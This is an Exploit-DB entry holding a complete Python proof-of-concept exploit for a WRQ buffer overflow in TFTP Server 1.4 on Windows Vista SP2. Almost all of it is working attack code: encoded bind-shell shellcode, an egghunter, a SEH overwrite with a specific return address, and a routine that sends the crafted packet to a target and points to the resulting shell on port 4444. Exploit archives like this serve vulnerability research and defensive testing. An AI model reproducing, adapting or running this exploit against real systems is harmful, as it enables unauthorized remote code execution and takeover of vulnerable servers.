Exploit-DB #40138
Description: TFTP Server 1.4 - 'WRQ' Remote Buffer Overflow (Egghunter)
Type: remote
Platform: windows
Date: 2016-07-21
Author: Karn Ganeshen

Exploit:
# Exploit Title: [TFTP Server 1.4 - WRQ Buffer Overflow Exploit [Egghunter]]
# Exploit Author: [Karn Ganeshen]
# Vendor Homepage: [http://sourceforge.net/projects/tftp-server/]
# Version: [1.4]
# Tested on: [Windows Vista SP2]
#
# Coded this for Vista Ultimate, Service Pack 2
# 3-byte overwrite + short jump + Egghunter
# Standalone mode
#
# Couple of overflow exploits already here for this tftp, none for Vista SP2 + Egghunter:
#     http://www.exploit-db.com/exploits/5314/
#     http://www.exploit-db.com/exploits/10542/
#     http://www.exploit-db.com/exploits/5563/
#     https://www.exploit-db.com/exploits/18345/
#

#!/usr/bin/python

import socket
import sys

host = '192.168.49.187'
port = 69

try:
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

# msfvenom -p windows/shell_bind_tcp LHOST=192.168.49.187 -b \x00 EXITFUNC=seh -f c -e x86/alpha_mixed
# Payload size: 718 bytes

shellcode = (
"\x89\xe5\xd9\xcf\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x48\x68\x4f\x72\x75\x50\x63\x30\x33\x30\x33\x50\x6f"
"\x79\x59\x75\x35\x61\x6f\x30\x51\x74\x6c\x4b\x42\x70\x46\x50"
"\x6e\x6b\x62\x72\x66\x6c\x6c\x4b\x73\x62\x56\x74\x6c\x4b\x43"
"\x42\x45\x78\x66\x6f\x58\x37\x73\x7a\x56\x46\x54\x71\x4b\x4f"
"\x6e\x4c\x45\x6c\x50\x61\x51\x6c\x33\x32\x74\x6c\x61\x30\x4b"
"\x71\x68\x4f\x74\x4d\x63\x31\x39\x57\x58\x62\x68\x72\x76\x32"
"\x71\x47\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x4a\x45\x6c\x6c"
"\x4b\x30\x4c\x36\x71\x50\x78\x68\x63\x70\x48\x76\x61\x6b\x61"
"\x43\x61\x4e\x6b\x61\x49\x45\x70\x63\x31\x48\x53\x4c\x4b\x72"
"\x69\x35\x48\x38\x63\x77\x4a\x77\x39\x6c\x4b\x65\x64\x4c\x4b"
"\x67\x71\x58\x56\x75\x61\x4b\x4f\x6c\x6c\x69\x51\x7a\x6f\x76"
"\x6d\x65\x51\x39\x57\x45\x68\x4d\x30\x34\x35\x6a\x56\x45\x53"
"\x53\x4d\x5a\x58\x47\x4b\x53\x4d\x77\x54\x43\x45\x4d\x34\x73"
"\x68\x6c\x4b\x61\x48\x57\x54\x46\x61\x6b\x63\x61\x76\x6c\x4b"
"\x74\x4c\x42\x6b\x4c\x4b\x30\x58\x57\x6c\x75\x51\x79\x43\x4c"
"\x4b\x33\x34\x6e\x6b\x46\x61\x4e\x30\x4b\x39\x73\x74\x56\x44"
"\x65\x74\x63\x6b\x43\x6b\x63\x51\x52\x79\x53\x6a\x66\x31\x59"
"\x6f\x6b\x50\x33\x6f\x33\x6f\x32\x7a\x6e\x6b\x35\x42\x78\x6b"
"\x4e\x6d\x43\x6d\x62\x48\x37\x43\x46\x52\x37\x70\x35\x50\x61"
"\x78\x72\x57\x64\x33\x45\x62\x71\x4f\x56\x34\x53\x58\x32\x6c"
"\x63\x47\x34\x66\x46\x67\x4b\x4f\x6a\x75\x4e\x58\x4e\x70\x43"
"\x31\x75\x50\x35\x50\x31\x39\x6f\x34\x72\x74\x70\x50\x55\x38"
"\x56\x49\x4f\x70\x30\x6b\x47\x70\x69\x6f\x48\x55\x71\x7a\x36"
"\x68\x51\x49\x70\x50\x4a\x42\x4b\x4d\x61\x50\x76\x30\x33\x70"
"\x36\x30\x35\x38\x69\x7a\x64\x4f\x59\x4f\x6b\x50\x39\x6f\x4b"
"\x65\x7a\x37\x73\x58\x43\x32\x63\x30\x56\x71\x71\x4c\x6c\x49"
"\x69\x76\x71\x7a\x64\x50\x53\x66\x72\x77\x73\x58\x4a\x62\x79"
"\x4b\x50\x37\x65\x37\x39\x6f\x6b\x65\x36\x37\x42\x48\x48\x37"
"\x4b\x59\x47\x48\x6b\x4f\x39\x6f\x4b\x65\x51\x47\x51\x78\x50"
"\x74\x5a\x4c\x65\x6b\x79\x71\x69\x6f\x6a\x75\x51\x47\x4f\x67"
"\x53\x58\x61\x65\x32\x4e\x32\x6d\x70\x61\x49\x6f\x69\x45\x61"
"\x78\x72\x43\x32\x4d\x30\x64\x43\x30\x4b\x39\x4a\x43\x70\x57"
"\x53\x67\x72\x77\x64\x71\x48\x76\x31\x7a\x52\x32\x42\x79\x52"
"\x76\x38\x62\x69\x6d\x65\x36\x4b\x77\x37\x34\x61\x34\x47\x4c"
"\x57\x71\x45\x51\x6c\x4d\x77\x34\x44\x64\x72\x30\x78\x46\x53"
"\x30\x67\x34\x33\x64\x32\x70\x70\x56\x73\x66\x42\x76\x62\x66"
"\x46\x36\x30\x4e\x63\x66\x46\x36\x42\x73\x62\x76\x52\x48\x71"
"\x69\x38\x4c\x35\x6f\x6e\x66\x79\x6f\x49\x45\x4c\x49\x4b\x50"
"\x52\x6e\x43\x66\x30\x46\x59\x6f\x54\x70\x62\x48\x34\x48\x6c"
"\x47\x35\x4d\x55\x30\x39\x6f\x38\x55\x4f\x4b\x59\x6e\x34\x4e"
"\x76\x52\x59\x7a\x73\x58\x6d\x76\x6c\x55\x4d\x6d\x4d\x4d\x4b"
"\x4f\x6e\x35\x47\x4c\x63\x36\x71\x6c\x45\x5a\x4f\x70\x49\x6b"
"\x59\x70\x74\x35\x76\x65\x4d\x6b\x50\x47\x32\x33\x32\x52\x30"
"\x6f\x62\x4a\x45\x50\x66\x33\x69\x6f\x4e\x35\x41\x41")

# PPR - 0x0040CC22 - in TFTPServerSP.exe
# 3-byte overwrite

jump_one = "\xEB\xDB\x90\x90" # negative jump back
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a" #WOOT
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

filename = "\x90"*734 + "T00WT00W" + shellcode + "\x90"*10 + egghunter + "\x90"*10 + jump_one + "\x22\xCC\x40"

mode = "netascii"

evil = "\x00\x02" + filename + "\x00" + mode + "\x00"

print "[*] Sending evil packet, ph33r"
s.sendto(evil, (host, port))
print "[*] Check port 4444 for bindshell"